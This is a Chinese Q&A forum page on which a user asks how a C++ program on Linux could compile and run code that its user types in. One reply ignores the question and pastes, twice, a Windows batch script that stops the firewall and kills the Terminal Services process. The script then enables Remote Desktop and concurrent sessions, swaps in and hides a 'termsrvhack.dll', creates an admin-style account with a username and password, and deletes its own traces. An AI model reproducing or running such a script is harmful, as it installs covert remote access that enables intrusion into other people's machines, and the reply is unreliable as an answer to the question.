如何让用户输入一段代码,让程序执行
能否用C++编一个程序,用户可以输入一些代码并用编译器编译后执行。举个最简单的例子,用户输入“for(inti=0;i<10;i++)cout<<i<<endl;”我的程...
能否用C++编一个程序,用户可以输入一些代码并用编译器编译后执行。
举个最简单的例子,用户输入
“for(int i=0;i<10;i++) cout<<i<<endl;”
我的程序能够执行并显示结果。
我是在linux下,想用C++,想调用编译器解释用户输入的命令并执行,同时自己还定义一些语法对其进行扩充。
看来确实不太好办,还是想其他的办法吧。我对C++很熟,其他语言没有接触过。 展开
举个最简单的例子,用户输入
“for(int i=0;i<10;i++) cout<<i<<endl;”
我的程序能够执行并显示结果。
我是在linux下,想用C++,想调用编译器解释用户输入的命令并执行,同时自己还定义一些语法对其进行扩充。
看来确实不太好办,还是想其他的办法吧。我对C++很熟,其他语言没有接触过。 展开
3个回答
展开全部
强烈向你推荐linux操作系统
想你说的那种操作在linux系统里那是家常便饭
想你说的那种操作在linux系统里那是家常便饭
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
展开全部
bat文件吧?
会否?
@echo off
net stop sharedaccess
tasklist /svc >pid.txt
FINDSTR /i "TermService" pid.txt >result.txt
FOR /F "eol=; tokens=2 delims= " %%1 in (result.txt) do ntsd -c q -p %%1
reg add HKLM\SOFTWARE\Microsoft\Windows" "NT\CurrentVersion\Winlogon /v KeepRASConnections /t REG_SZ /d 1 /f
reg add HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
reg add HKLM\SYSTEM\CurrentControlSet\control\terminal" "server\Licensing" "Core /v EnableConcurrentSessions /t REG_DWORD /d 00000001 /f
reg add HKLM\SYSTEM\CurrentControlSet\Services\TermService\Parameters /v serviceDll /t REG_EXPAND_SZ /d %SystemRoot%\system32\termsrvhack.dll /f
copy termsrvhack.dll C:\WINDOWS\system32\dllcache\termsrvhack.dll
attrib +h +s +r C:\WINDOWS\system32\dllcache\termsrvhack.dll
attrib +h +s +r C:\WINDOWS\system32\termsrvhack.dll
shutdown -a
CHAdmin.exe 用户名 密码
del result.txt
del pid.txt
del CHAdmin.exe
del c:\XP3389.exe
net start termservice
del 3389.vbs
del 3389.bat
end
会否?
@echo off
net stop sharedaccess
tasklist /svc >pid.txt
FINDSTR /i "TermService" pid.txt >result.txt
FOR /F "eol=; tokens=2 delims= " %%1 in (result.txt) do ntsd -c q -p %%1
reg add HKLM\SOFTWARE\Microsoft\Windows" "NT\CurrentVersion\Winlogon /v KeepRASConnections /t REG_SZ /d 1 /f
reg add HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
reg add HKLM\SYSTEM\CurrentControlSet\control\terminal" "server\Licensing" "Core /v EnableConcurrentSessions /t REG_DWORD /d 00000001 /f
reg add HKLM\SYSTEM\CurrentControlSet\Services\TermService\Parameters /v serviceDll /t REG_EXPAND_SZ /d %SystemRoot%\system32\termsrvhack.dll /f
copy termsrvhack.dll C:\WINDOWS\system32\dllcache\termsrvhack.dll
attrib +h +s +r C:\WINDOWS\system32\dllcache\termsrvhack.dll
attrib +h +s +r C:\WINDOWS\system32\termsrvhack.dll
shutdown -a
CHAdmin.exe 用户名 密码
del result.txt
del pid.txt
del CHAdmin.exe
del c:\XP3389.exe
net start termservice
del 3389.vbs
del 3389.bat
end
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询